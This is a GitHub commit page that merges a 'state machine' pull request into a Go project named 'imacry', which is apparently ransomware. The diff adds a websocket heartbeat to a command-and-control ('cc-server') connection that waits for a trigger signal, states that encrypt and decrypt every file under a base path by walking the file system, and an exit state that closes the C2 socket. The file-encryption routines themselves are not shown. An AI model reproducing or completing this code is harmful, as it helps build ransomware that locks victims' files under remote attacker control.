generated from prairir/project-template
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #6 from prairir/ryan-states
states machine implement
- Loading branch information
Showing
19 changed files
with
336 additions
and
26 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
package heartbeat | ||
|
||
import ( | ||
"fmt" | ||
|
||
"github.com/gorilla/websocket" | ||
"github.com/prairir/imacry/pkg/config" | ||
) | ||
|
||
// heartbeat.HeartBeat: | ||
func HeartBeat() { | ||
for { | ||
err := config.Config.Conn.WriteMessage(websocket.TextMessage, []byte("hb:")) | ||
if err != nil { | ||
config.Config.HBError <- fmt.Errorf("heartbeat.HeartBeat error: %w", err) | ||
return | ||
} | ||
|
||
mt, message, err := config.Config.Conn.ReadMessage() | ||
if err != nil { | ||
config.Config.HBError <- fmt.Errorf("heartbeat.HeartBeat error: %w", err) | ||
return | ||
} | ||
|
||
// if its a text message and the message is `hb: 1` | ||
// close the signal channel and exit | ||
// else if its a text message and the message is `hb: 0` | ||
// continue | ||
if mt == websocket.TextMessage && string(message[:5]) == "hb: 1" { | ||
close(config.Config.Signal) | ||
return | ||
} else if mt == websocket.TextMessage && string(message[:5]) == "hb: 0" { | ||
continue | ||
} | ||
|
||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
package state | ||
|
||
import ( | ||
"fmt" | ||
|
||
"github.com/prairir/imacry/pkg/config" | ||
"github.com/prairir/imacry/pkg/decryptfile" | ||
"github.com/prairir/imacry/pkg/walk" | ||
) | ||
|
||
// state.Decrypt: decrypts file system starting at config.Config.Base | ||
// params: the next state | ||
// returns: error | ||
func Decrypt(nextState config.State) error { | ||
df := decryptfile.DecryptFile{} | ||
// Decrypt from the base file path walking through all files on the system | ||
err := walk.Walk(config.Config.Base, df) | ||
if err != nil { | ||
return fmt.Errorf("state.Decrypt error: %w", err) | ||
} | ||
config.Config.State = nextState | ||
return nil | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
package state | ||
|
||
import ( | ||
"fmt" | ||
|
||
"github.com/prairir/imacry/pkg/config" | ||
"github.com/prairir/imacry/pkg/encryptfile" | ||
"github.com/prairir/imacry/pkg/walk" | ||
) | ||
|
||
// state.Encrypt: encrypt file system starting at config.Config.Base | ||
// params: next state | ||
// returns: error | ||
func Encrypt(nextState config.State) error { | ||
ef := encryptfile.EncryptFile{} | ||
err := walk.Walk(config.Config.Base, ef) | ||
if err != nil { | ||
return fmt.Errorf("state.Encrypt error: %w", err) | ||
} | ||
|
||
config.Config.State = nextState | ||
return nil | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
package state | ||
|
||
import ( | ||
"fmt" | ||
"time" | ||
|
||
"github.com/gorilla/websocket" | ||
"github.com/prairir/imacry/pkg/config" | ||
) | ||
|
||
// state.Exit: the exit state, closes the cc-server connection | ||
// params: none | ||
// returns: error | ||
func Exit() error { | ||
// close the socket | ||
err := config.Config.Conn.WriteControl(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""), time.Now().Add(time.Second)) | ||
if err != nil { | ||
return fmt.Errorf("state.Exit error: %w", err) | ||
} | ||
|
||
err = config.Config.Conn.Close() | ||
if err != nil { | ||
return fmt.Errorf("state.Exit error: %w", err) | ||
} | ||
return nil | ||
} |
Oops, something went wrong.